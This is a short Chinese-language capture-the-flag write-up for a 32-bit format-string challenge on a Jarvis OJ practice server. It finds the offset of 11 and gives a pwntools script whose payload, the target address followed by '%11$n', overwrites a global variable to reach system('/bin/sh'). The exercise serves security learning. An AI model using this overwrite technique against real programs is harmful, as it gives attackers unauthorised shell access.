流程套路还是固定的,file看一下是32位的文件
checksec看一下开了什么保护,好像没什么奇怪的东西
运行一下看看,什么也看不明白,开ida看吧。
扔到32的ida看一下是显而易见的fsb格式化字符串,点进去看一下发现x的值为3,只要把x的值修改为4,我们就可以执行system(‘bin/sh’)拿到shell。
那我们就基本有思路了。
x的地址为0x0804A02C,所以我们现在要开始找我们所需要的偏移量写payload覆盖x的地址
格式化字符串好像基本上都是构造类似如下的payload...[overwrite addr]....%[overwrite offset]$n,...表示填充的数据好像都是这样子的吧...我也不太清楚
现在我们来找偏移量。
找偏移量大概有两种方法?
暴力找一下,先打入字符串AAAA,然后一个一个%1x,可以打出print的第一个地址,如果打出0x41414141,就说明找到了偏移量 如果不是,继续找%2x,%3x巴拉巴拉。 拿pwndbg找啊找 发现这个题目的偏移量为11,好的我们现在找到了偏移量。 然后学一下%11n,这个是把前面写的bit一个一个计入n。因为这个题目里面要把n转成4.所以直接使用%11$n,就可以写入4.
所以我们可以写脚本了
from pwn import *
p = remote('pwn2.jarvisoj.com', 9895)
# p = process('./fm')
elf = ELF('./fm')
x_addr = 0x0804A02C
print hex(x_addr)
payload = p32(x_addr) + '%11$n'
p.sendline(payload)
p.interactive()
然后就可以成功的cat flag啦!